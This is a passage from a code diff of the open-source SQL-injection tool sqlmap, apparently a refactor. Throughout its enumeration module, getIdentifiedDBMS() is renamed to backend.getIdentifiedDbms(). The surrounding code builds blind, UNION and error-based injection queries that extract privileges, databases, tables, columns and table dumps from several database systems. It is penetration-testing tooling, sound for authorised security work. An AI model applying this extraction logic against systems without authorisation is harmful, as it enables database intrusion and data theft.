unescapedUser = unescaper.unescape(user, quote=False)
|
||||||
|
|
||||||
if user in retrievedUsers:
|
if user in retrievedUsers:
|
||||||
|
@ -546,18 +547,18 @@ class Enumeration:
|
||||||
else:
|
else:
|
||||||
queryUser = user
|
queryUser = user
|
||||||
|
|
||||||
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
|
if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
|
||||||
query = rootQuery.blind.count2 % queryUser
|
query = rootQuery.blind.count2 % queryUser
|
||||||
elif getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema:
|
elif backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema:
|
||||||
query = rootQuery.blind.count % (conditionChar, queryUser)
|
query = rootQuery.blind.count % (conditionChar, queryUser)
|
||||||
elif getIdentifiedDBMS() == DBMS.ORACLE and query2:
|
elif backend.getIdentifiedDbms() == DBMS.ORACLE and query2:
|
||||||
query = rootQuery.blind.count2 % queryUser
|
query = rootQuery.blind.count2 % queryUser
|
||||||
else:
|
else:
|
||||||
query = rootQuery.blind.count % queryUser
|
query = rootQuery.blind.count % queryUser
|
||||||
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
|
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
|
||||||
|
|
||||||
if not isNumPosStrValue(count):
|
if not isNumPosStrValue(count):
|
||||||
if not (isinstance(count, basestring) and count.isdigit()) and getIdentifiedDBMS() == DBMS.ORACLE and not query2:
|
if not (isinstance(count, basestring) and count.isdigit()) and backend.getIdentifiedDbms() == DBMS.ORACLE and not query2:
|
||||||
infoMsg = "trying with table USER_SYS_PRIVS"
|
infoMsg = "trying with table USER_SYS_PRIVS"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
@ -573,20 +574,20 @@ class Enumeration:
|
||||||
|
|
||||||
privileges = set()
|
privileges = set()
|
||||||
|
|
||||||
if getIdentifiedDBMS() == DBMS.ORACLE:
|
if backend.getIdentifiedDbms() == DBMS.ORACLE:
|
||||||
plusOne = True
|
plusOne = True
|
||||||
else:
|
else:
|
||||||
plusOne = False
|
plusOne = False
|
||||||
indexRange = getRange(count, plusOne=plusOne)
|
indexRange = getRange(count, plusOne=plusOne)
|
||||||
|
|
||||||
for index in indexRange:
|
for index in indexRange:
|
||||||
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
|
if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
|
||||||
query = rootQuery.blind.query2 % (queryUser, index)
|
query = rootQuery.blind.query2 % (queryUser, index)
|
||||||
elif getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema:
|
elif backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema:
|
||||||
query = rootQuery.blind.query % (conditionChar, queryUser, index)
|
query = rootQuery.blind.query % (conditionChar, queryUser, index)
|
||||||
elif getIdentifiedDBMS() == DBMS.ORACLE and query2:
|
elif backend.getIdentifiedDbms() == DBMS.ORACLE and query2:
|
||||||
query = rootQuery.blind.query2 % (queryUser, index)
|
query = rootQuery.blind.query2 % (queryUser, index)
|
||||||
elif getIdentifiedDBMS() == DBMS.FIREBIRD:
|
elif backend.getIdentifiedDbms() == DBMS.FIREBIRD:
|
||||||
query = rootQuery.blind.query % (index, queryUser)
|
query = rootQuery.blind.query % (index, queryUser)
|
||||||
else:
|
else:
|
||||||
query = rootQuery.blind.query % (queryUser, index)
|
query = rootQuery.blind.query % (queryUser, index)
|
||||||
|
@ -594,7 +595,7 @@ class Enumeration:
|
||||||
|
|
||||||
# In PostgreSQL we get 1 if the privilege is True,
|
# In PostgreSQL we get 1 if the privilege is True,
|
||||||
# 0 otherwise
|
# 0 otherwise
|
||||||
if getIdentifiedDBMS() == DBMS.PGSQL and ", " in privilege:
|
if backend.getIdentifiedDbms() == DBMS.PGSQL and ", " in privilege:
|
||||||
privilege = privilege.replace(", ", ",")
|
privilege = privilege.replace(", ", ",")
|
||||||
privs = privilege.split(",")
|
privs = privilege.split(",")
|
||||||
i = 1
|
i = 1
|
||||||
|
@ -609,12 +610,12 @@ class Enumeration:
|
||||||
|
|
||||||
# In MySQL >= 5.0 and Oracle we get the list
|
# In MySQL >= 5.0 and Oracle we get the list
|
||||||
# of privileges as string
|
# of privileges as string
|
||||||
elif getIdentifiedDBMS() == DBMS.ORACLE or ( getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema ):
|
elif backend.getIdentifiedDbms() == DBMS.ORACLE or ( backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema ):
|
||||||
privileges.add(privilege)
|
privileges.add(privilege)
|
||||||
|
|
||||||
# In MySQL < 5.0 we get Y if the privilege is
|
# In MySQL < 5.0 we get Y if the privilege is
|
||||||
# True, N otherwise
|
# True, N otherwise
|
||||||
elif getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
|
elif backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
|
||||||
privilege = privilege.replace(", ", ",")
|
privilege = privilege.replace(", ", ",")
|
||||||
privs = privilege.split(",")
|
privs = privilege.split(",")
|
||||||
i = 1
|
i = 1
|
||||||
|
@ -628,7 +629,7 @@ class Enumeration:
|
||||||
i += 1
|
i += 1
|
||||||
|
|
||||||
# In Firebird we get one letter for each privilege
|
# In Firebird we get one letter for each privilege
|
||||||
elif getIdentifiedDBMS() == DBMS.FIREBIRD:
|
elif backend.getIdentifiedDbms() == DBMS.FIREBIRD:
|
||||||
privileges.add(firebirdPrivs[privilege.strip()])
|
privileges.add(firebirdPrivs[privilege.strip()])
|
||||||
|
|
||||||
if self.__isAdminFromPrivileges(privileges):
|
if self.__isAdminFromPrivileges(privileges):
|
||||||
|
@ -637,7 +638,7 @@ class Enumeration:
|
||||||
# In MySQL < 5.0 we break the cycle after the first
|
# In MySQL < 5.0 we break the cycle after the first
|
||||||
# time we get the user's privileges otherwise we
|
# time we get the user's privileges otherwise we
|
||||||
# duplicate the same query
|
# duplicate the same query
|
||||||
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
|
if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
|
||||||
break
|
break
|
||||||
|
|
||||||
if privileges:
|
if privileges:
|
||||||
|
@ -657,14 +658,14 @@ class Enumeration:
|
||||||
return ( kb.data.cachedUsersPrivileges, areAdmins )
|
return ( kb.data.cachedUsersPrivileges, areAdmins )
|
||||||
|
|
||||||
def getRoles(self, query2=False):
|
def getRoles(self, query2=False):
|
||||||
warnMsg = "on %s the concept of roles does not " % getIdentifiedDBMS()
|
warnMsg = "on %s the concept of roles does not " % backend.getIdentifiedDbms()
|
||||||
warnMsg += "exist. sqlmap will enumerate privileges instead"
|
warnMsg += "exist. sqlmap will enumerate privileges instead"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return self.getPrivileges(query2)
|
return self.getPrivileges(query2)
|
||||||
|
|
||||||
def getDbs(self):
|
def getDbs(self):
|
||||||
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
|
if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
|
||||||
warnMsg = "information_schema not available, "
|
warnMsg = "information_schema not available, "
|
||||||
warnMsg += "back-end DBMS is MySQL < 5. database "
|
warnMsg += "back-end DBMS is MySQL < 5. database "
|
||||||
warnMsg += "names will be fetched from 'mysql' database"
|
warnMsg += "names will be fetched from 'mysql' database"
|
||||||
|
@ -673,10 +674,10 @@ class Enumeration:
|
||||||
infoMsg = "fetching database names"
|
infoMsg = "fetching database names"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
rootQuery = queries[getIdentifiedDBMS()].dbs
|
rootQuery = queries[backend.getIdentifiedDbms()].dbs
|
||||||
|
|
||||||
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
|
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
|
||||||
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
|
if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
|
||||||
query = rootQuery.inband.query2
|
query = rootQuery.inband.query2
|
||||||
else:
|
else:
|
||||||
query = rootQuery.inband.query
|
query = rootQuery.inband.query
|
||||||
|
@ -689,7 +690,7 @@ class Enumeration:
|
||||||
infoMsg = "fetching number of databases"
|
infoMsg = "fetching number of databases"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
|
if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
|
||||||
query = rootQuery.blind.count2
|
query = rootQuery.blind.count2
|
||||||
else:
|
else:
|
||||||
query = rootQuery.blind.count
|
query = rootQuery.blind.count
|
||||||
|
@ -702,9 +703,9 @@ class Enumeration:
|
||||||
indexRange = getRange(count)
|
indexRange = getRange(count)
|
||||||
|
|
||||||
for index in indexRange:
|
for index in indexRange:
|
||||||
if getIdentifiedDBMS() == DBMS.SYBASE:
|
if backend.getIdentifiedDbms() == DBMS.SYBASE:
|
||||||
query = rootQuery.blind.query % (kb.data.cachedDbs[-1] if kb.data.cachedDbs else " ")
|
query = rootQuery.blind.query % (kb.data.cachedDbs[-1] if kb.data.cachedDbs else " ")
|
||||||
elif getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
|
elif backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
|
||||||
query = rootQuery.blind.query2 % index
|
query = rootQuery.blind.query2 % index
|
||||||
else:
|
else:
|
||||||
query = rootQuery.blind.query % index
|
query = rootQuery.blind.query % index
|
||||||
|
@ -724,13 +725,13 @@ class Enumeration:
|
||||||
|
|
||||||
self.forceDbmsEnum()
|
self.forceDbmsEnum()
|
||||||
|
|
||||||
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
|
if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
|
||||||
errMsg = "information_schema not available, "
|
errMsg = "information_schema not available, "
|
||||||
errMsg += "back-end DBMS is MySQL < 5.0"
|
errMsg += "back-end DBMS is MySQL < 5.0"
|
||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
bruteForce = True
|
bruteForce = True
|
||||||
|
|
||||||
elif getIdentifiedDBMS() == DBMS.ACCESS:
|
elif backend.getIdentifiedDbms() == DBMS.ACCESS:
|
||||||
errMsg = "cannot retrieve table names, "
|
errMsg = "cannot retrieve table names, "
|
||||||
errMsg += "back-end DBMS is Access"
|
errMsg += "back-end DBMS is Access"
|
||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
|
@ -769,7 +770,7 @@ class Enumeration:
|
||||||
infoMsg += " for database '%s'" % conf.db
|
infoMsg += " for database '%s'" % conf.db
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
rootQuery = queries[getIdentifiedDBMS()].tables
|
rootQuery = queries[backend.getIdentifiedDbms()].tables
|
||||||
|
|
||||||
if conf.db:
|
if conf.db:
|
||||||
if "," in conf.db:
|
if "," in conf.db:
|
||||||
|
@ -787,7 +788,7 @@ class Enumeration:
|
||||||
condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None
|
condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None
|
||||||
|
|
||||||
if condition:
|
if condition:
|
||||||
if conf.db and getIdentifiedDBMS() != DBMS.SQLITE:
|
if conf.db and backend.getIdentifiedDbms() != DBMS.SQLITE:
|
||||||
if "," in conf.db:
|
if "," in conf.db:
|
||||||
dbs = conf.db.split(",")
|
dbs = conf.db.split(",")
|
||||||
query += " WHERE "
|
query += " WHERE "
|
||||||
|
@ -800,12 +801,12 @@ class Enumeration:
|
||||||
infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
|
infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
|
if backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||||
query = safeStringFormat(query, conf.db)
|
query = safeStringFormat(query, conf.db)
|
||||||
value = inject.getValue(query, blind=False)
|
value = inject.getValue(query, blind=False)
|
||||||
|
|
||||||
if value:
|
if value:
|
||||||
if getIdentifiedDBMS() == DBMS.SQLITE:
|
if backend.getIdentifiedDbms() == DBMS.SQLITE:
|
||||||
if isinstance(value, basestring):
|
if isinstance(value, basestring):
|
||||||
value = [[ DBMS.SQLITE, value ]]
|
value = [[ DBMS.SQLITE, value ]]
|
||||||
elif isinstance(value, (list, tuple, set)):
|
elif isinstance(value, (list, tuple, set)):
|
||||||
|
@ -834,7 +835,7 @@ class Enumeration:
|
||||||
infoMsg += "database '%s'" % db
|
infoMsg += "database '%s'" % db
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if getIdentifiedDBMS() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB):
|
if backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB):
|
||||||
query = rootQuery.blind.count
|
query = rootQuery.blind.count
|
||||||
else:
|
else:
|
||||||
query = rootQuery.blind.count % db
|
query = rootQuery.blind.count % db
|
||||||
|
@ -848,18 +849,18 @@ class Enumeration:
|
||||||
|
|
||||||
tables = []
|
tables = []
|
||||||
|
|
||||||
if getIdentifiedDBMS() in ( DBMS.MSSQL, DBMS.ORACLE ):
|
if backend.getIdentifiedDbms() in ( DBMS.MSSQL, DBMS.ORACLE ):
|
||||||
plusOne = True
|
plusOne = True
|
||||||
else:
|
else:
|
||||||
plusOne = False
|
plusOne = False
|
||||||
indexRange = getRange(count, plusOne=plusOne)
|
indexRange = getRange(count, plusOne=plusOne)
|
||||||
|
|
||||||
for index in indexRange:
|
for index in indexRange:
|
||||||
if getIdentifiedDBMS() == DBMS.SYBASE:
|
if backend.getIdentifiedDbms() == DBMS.SYBASE:
|
||||||
query = rootQuery.blind.query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " "))
|
query = rootQuery.blind.query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " "))
|
||||||
elif getIdentifiedDBMS() == DBMS.MAXDB:
|
elif backend.getIdentifiedDbms() == DBMS.MAXDB:
|
||||||
query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")
|
query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")
|
||||||
elif getIdentifiedDBMS() in (DBMS.SQLITE, DBMS.FIREBIRD):
|
elif backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
|
||||||
query = rootQuery.blind.query % index
|
query = rootQuery.blind.query % index
|
||||||
else:
|
else:
|
||||||
query = rootQuery.blind.query % (db, index)
|
query = rootQuery.blind.query % (db, index)
|
||||||
|
@ -900,13 +901,13 @@ class Enumeration:
|
||||||
|
|
||||||
conf.db = self.getCurrentDb()
|
conf.db = self.getCurrentDb()
|
||||||
|
|
||||||
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
|
if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
|
||||||
errMsg = "information_schema not available, "
|
errMsg = "information_schema not available, "
|
||||||
errMsg += "back-end DBMS is MySQL < 5.0"
|
errMsg += "back-end DBMS is MySQL < 5.0"
|
||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
bruteForce = True
|
bruteForce = True
|
||||||
|
|
||||||
elif getIdentifiedDBMS() == DBMS.ACCESS:
|
elif backend.getIdentifiedDbms() == DBMS.ACCESS:
|
||||||
errMsg = "cannot retrieve column names, "
|
errMsg = "cannot retrieve column names, "
|
||||||
errMsg += "back-end DBMS is Access"
|
errMsg += "back-end DBMS is Access"
|
||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
|
@ -957,13 +958,13 @@ class Enumeration:
|
||||||
"37":"VARCHAR"
|
"37":"VARCHAR"
|
||||||
}
|
}
|
||||||
|
|
||||||
rootQuery = queries[getIdentifiedDBMS()].columns
|
rootQuery = queries[backend.getIdentifiedDbms()].columns
|
||||||
condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None
|
condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None
|
||||||
|
|
||||||
infoMsg = "fetching columns "
|
infoMsg = "fetching columns "
|
||||||
|
|
||||||
if conf.col:
|
if conf.col:
|
||||||
if getIdentifiedDBMS() == DBMS.ORACLE:
|
if backend.getIdentifiedDbms() == DBMS.ORACLE:
|
||||||
conf.col = conf.col.upper()
|
conf.col = conf.col.upper()
|
||||||
colList = conf.col.split(",")
|
colList = conf.col.split(",")
|
||||||
condQuery = " AND (" + " OR ".join("%s LIKE '%s'" % (condition, "%" + col + "%") for col in colList) + ")"
|
condQuery = " AND (" + " OR ".join("%s LIKE '%s'" % (condition, "%" + col + "%") for col in colList) + ")"
|
||||||
|
@ -976,24 +977,24 @@ class Enumeration:
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
|
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
|
||||||
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
||||||
query = rootQuery.inband.query % (conf.tbl, conf.db)
|
query = rootQuery.inband.query % (conf.tbl, conf.db)
|
||||||
query += condQuery
|
query += condQuery
|
||||||
elif getIdentifiedDBMS() == DBMS.ORACLE:
|
elif backend.getIdentifiedDbms() == DBMS.ORACLE:
|
||||||
query = rootQuery.inband.query % conf.tbl.upper()
|
query = rootQuery.inband.query % conf.tbl.upper()
|
||||||
query += condQuery
|
query += condQuery
|
||||||
elif getIdentifiedDBMS() == DBMS.MSSQL:
|
elif backend.getIdentifiedDbms() == DBMS.MSSQL:
|
||||||
query = rootQuery.inband.query % (conf.db, conf.db,
|
query = rootQuery.inband.query % (conf.db, conf.db,
|
||||||
conf.db, conf.db,
|
conf.db, conf.db,
|
||||||
conf.db, conf.db,
|
conf.db, conf.db,
|
||||||
conf.db, conf.tbl)
|
conf.db, conf.tbl)
|
||||||
query += condQuery.replace("[DB]", conf.db)
|
query += condQuery.replace("[DB]", conf.db)
|
||||||
elif getIdentifiedDBMS() == DBMS.SQLITE:
|
elif backend.getIdentifiedDbms() == DBMS.SQLITE:
|
||||||
query = rootQuery.inband.query % conf.tbl
|
query = rootQuery.inband.query % conf.tbl
|
||||||
|
|
||||||
value = inject.getValue(query, blind=False)
|
value = inject.getValue(query, blind=False)
|
||||||
|
|
||||||
if getIdentifiedDBMS() == DBMS.SQLITE:
|
if backend.getIdentifiedDbms() == DBMS.SQLITE:
|
||||||
parseSqliteTableSchema(value)
|
parseSqliteTableSchema(value)
|
||||||
elif value:
|
elif value:
|
||||||
table = {}
|
table = {}
|
||||||
|
@ -1011,19 +1012,19 @@ class Enumeration:
|
||||||
infoMsg += " on database '%s'" % conf.db
|
infoMsg += " on database '%s'" % conf.db
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
||||||
query = rootQuery.blind.count % (conf.tbl, conf.db)
|
query = rootQuery.blind.count % (conf.tbl, conf.db)
|
||||||
query += condQuery
|
query += condQuery
|
||||||
elif getIdentifiedDBMS() == DBMS.ORACLE:
|
elif backend.getIdentifiedDbms() == DBMS.ORACLE:
|
||||||
query = rootQuery.blind.count % conf.tbl.upper()
|
query = rootQuery.blind.count % conf.tbl.upper()
|
||||||
query += condQuery
|
query += condQuery
|
||||||
elif getIdentifiedDBMS() == DBMS.MSSQL:
|
elif backend.getIdentifiedDbms() == DBMS.MSSQL:
|
||||||
query = rootQuery.blind.count % (conf.db, conf.db, conf.tbl)
|
query = rootQuery.blind.count % (conf.db, conf.db, conf.tbl)
|
||||||
query += condQuery.replace("[DB]", conf.db)
|
query += condQuery.replace("[DB]", conf.db)
|
||||||
elif getIdentifiedDBMS() == DBMS.FIREBIRD:
|
elif backend.getIdentifiedDbms() == DBMS.FIREBIRD:
|
||||||
query = rootQuery.blind.count % (conf.tbl)
|
query = rootQuery.blind.count % (conf.tbl)
|
||||||
query += condQuery
|
query += condQuery
|
||||||
elif getIdentifiedDBMS() == DBMS.SQLITE:
|
elif backend.getIdentifiedDbms() == DBMS.SQLITE:
|
||||||
query = rootQuery.blind.query % conf.tbl
|
query = rootQuery.blind.query % conf.tbl
|
||||||
value = inject.getValue(query, inband=False, error=False)
|
value = inject.getValue(query, inband=False, error=False)
|
||||||
|
|
||||||
|
@ -1045,22 +1046,22 @@ class Enumeration:
|
||||||
indexRange = getRange(count)
|
indexRange = getRange(count)
|
||||||
|
|
||||||
for index in indexRange:
|
for index in indexRange:
|
||||||
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
||||||
query = rootQuery.blind.query % (conf.tbl, conf.db)
|
query = rootQuery.blind.query % (conf.tbl, conf.db)
|
||||||
query += condQuery
|
query += condQuery
|
||||||
field = None
|
field = None
|
||||||
elif getIdentifiedDBMS() == DBMS.ORACLE:
|
elif backend.getIdentifiedDbms() == DBMS.ORACLE:
|
||||||
query = rootQuery.blind.query % (conf.tbl.upper())
|
query = rootQuery.blind.query % (conf.tbl.upper())
|
||||||
query += condQuery
|
query += condQuery
|
||||||
field = None
|
field = None
|
||||||
elif getIdentifiedDBMS() == DBMS.MSSQL:
|
elif backend.getIdentifiedDbms() == DBMS.MSSQL:
|
||||||
query = rootQuery.blind.query % (conf.db, conf.db,
|
query = rootQuery.blind.query % (conf.db, conf.db,
|
||||||
conf.db, conf.db,
|
conf.db, conf.db,
|
||||||
conf.db, conf.db,
|
conf.db, conf.db,
|
||||||
conf.tbl)
|
conf.tbl)
|
||||||
query += condQuery.replace("[DB]", conf.db)
|
query += condQuery.replace("[DB]", conf.db)
|
||||||
field = condition.replace("[DB]", conf.db)
|
field = condition.replace("[DB]", conf.db)
|
||||||
elif getIdentifiedDBMS() == DBMS.FIREBIRD:
|
elif backend.getIdentifiedDbms() == DBMS.FIREBIRD:
|
||||||
query = rootQuery.blind.query % (conf.tbl)
|
query = rootQuery.blind.query % (conf.tbl)
|
||||||
query += condQuery
|
query += condQuery
|
||||||
field = None
|
field = None
|
||||||
|
@ -1069,20 +1070,20 @@ class Enumeration:
|
||||||
column = inject.getValue(query, inband=False, error=False)
|
column = inject.getValue(query, inband=False, error=False)
|
||||||
|
|
||||||
if not onlyColNames:
|
if not onlyColNames:
|
||||||
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
||||||
query = rootQuery.blind.query2 % (conf.tbl, column, conf.db)
|
query = rootQuery.blind.query2 % (conf.tbl, column, conf.db)
|
||||||
elif getIdentifiedDBMS() == DBMS.ORACLE:
|
elif backend.getIdentifiedDbms() == DBMS.ORACLE:
|
||||||
query = rootQuery.blind.query2 % (conf.tbl.upper(), column)
|
query = rootQuery.blind.query2 % (conf.tbl.upper(), column)
|
||||||
elif getIdentifiedDBMS() == DBMS.MSSQL:
|
elif backend.getIdentifiedDbms() == DBMS.MSSQL:
|
||||||
query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db,
|
query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db,
|
||||||
conf.db, column, conf.db,
|
conf.db, column, conf.db,
|
||||||
conf.db, conf.db, conf.tbl)
|
conf.db, conf.db, conf.tbl)
|
||||||
elif getIdentifiedDBMS() == DBMS.FIREBIRD:
|
elif backend.getIdentifiedDbms() == DBMS.FIREBIRD:
|
||||||
query = rootQuery.blind.query2 % (conf.tbl, column)
|
query = rootQuery.blind.query2 % (conf.tbl, column)
|
||||||
|
|
||||||
colType = inject.getValue(query, inband=False, error=False)
|
colType = inject.getValue(query, inband=False, error=False)
|
||||||
|
|
||||||
if getIdentifiedDBMS() == DBMS.FIREBIRD:
|
if backend.getIdentifiedDbms() == DBMS.FIREBIRD:
|
||||||
colType = firebirdTypes[colType] if colType in firebirdTypes else colType
|
colType = firebirdTypes[colType] if colType in firebirdTypes else colType
|
||||||
|
|
||||||
columns[column] = colType
|
columns[column] = colType
|
||||||
|
@ -1128,9 +1129,9 @@ class Enumeration:
|
||||||
|
|
||||||
conf.db = self.getCurrentDb()
|
conf.db = self.getCurrentDb()
|
||||||
|
|
||||||
rootQuery = queries[getIdentifiedDBMS()].dump_table
|
rootQuery = queries[backend.getIdentifiedDbms()].dump_table
|
||||||
|
|
||||||
if getIdentifiedDBMS() == DBMS.MYSQL:
|
if backend.getIdentifiedDbms() == DBMS.MYSQL:
|
||||||
if '-' in conf.tbl:
|
if '-' in conf.tbl:
|
||||||
conf.tbl = "`%s`" % conf.tbl
|
conf.tbl = "`%s`" % conf.tbl
|
||||||
if '-' in conf.db:
|
if '-' in conf.db:
|
||||||
|
@ -1173,9 +1174,9 @@ class Enumeration:
|
||||||
entriesCount = 0
|
entriesCount = 0
|
||||||
|
|
||||||
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
|
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
|
||||||
if getIdentifiedDBMS() == DBMS.ORACLE:
|
if backend.getIdentifiedDbms() == DBMS.ORACLE:
|
||||||
query = rootQuery.inband.query % (colString, conf.tbl.upper())
|
query = rootQuery.inband.query % (colString, conf.tbl.upper())
|
||||||
elif getIdentifiedDBMS() == DBMS.SQLITE:
|
elif backend.getIdentifiedDbms() == DBMS.SQLITE:
|
||||||
query = rootQuery.inband.query % (colString, conf.tbl)
|
query = rootQuery.inband.query % (colString, conf.tbl)
|
||||||
else:
|
else:
|
||||||
query = rootQuery.inband.query % (colString, conf.db, conf.tbl)
|
query = rootQuery.inband.query % (colString, conf.db, conf.tbl)
|
||||||
|
@ -1221,9 +1222,9 @@ class Enumeration:
|
||||||
infoMsg += "on database '%s'" % conf.db
|
infoMsg += "on database '%s'" % conf.db
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if getIdentifiedDBMS() == DBMS.ORACLE:
|
if backend.getIdentifiedDbms() == DBMS.ORACLE:
|
||||||
query = rootQuery.blind.count % conf.tbl.upper()
|
query = rootQuery.blind.count % conf.tbl.upper()
|
||||||
elif getIdentifiedDBMS() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
|
elif backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
|
||||||
query = rootQuery.blind.count % conf.tbl
|
query = rootQuery.blind.count % conf.tbl
|
||||||
else:
|
else:
|
||||||
query = rootQuery.blind.count % (conf.db, conf.tbl)
|
query = rootQuery.blind.count % (conf.db, conf.tbl)
|
||||||
|
@ -1243,14 +1244,14 @@ class Enumeration:
|
||||||
lengths = {}
|
lengths = {}
|
||||||
entries = {}
|
entries = {}
|
||||||
|
|
||||||
if getIdentifiedDBMS() in (DBMS.ORACLE, DBMS.MSSQL, DBMS.SYBASE):
|
if backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.MSSQL, DBMS.SYBASE):
|
||||||
plusOne = True
|
plusOne = True
|
||||||
else:
|
else:
|
||||||
plusOne = False
|
plusOne = False
|
||||||
indexRange = getRange(count, dump=True, plusOne=plusOne)
|
indexRange = getRange(count, dump=True, plusOne=plusOne)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
if getIdentifiedDBMS() == DBMS.ACCESS:
|
if backend.getIdentifiedDbms() == DBMS.ACCESS:
|
||||||
validColumnList = False
|
validColumnList = False
|
||||||
validPivotValue = False
|
validPivotValue = False
|
||||||
|
|
||||||
|
@ -1327,22 +1328,22 @@ class Enumeration:
|
||||||
if column not in entries:
|
if column not in entries:
|
||||||
entries[column] = []
|
entries[column] = []
|
||||||
|
|
||||||
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
||||||
query = rootQuery.blind.query % (column, conf.db,
|
query = rootQuery.blind.query % (column, conf.db,
|
||||||
conf.tbl, index)
|
conf.tbl, index)
|
||||||
elif getIdentifiedDBMS() == DBMS.ORACLE:
|
elif backend.getIdentifiedDbms() == DBMS.ORACLE:
|
||||||
query = rootQuery.blind.query % (column, column,
|
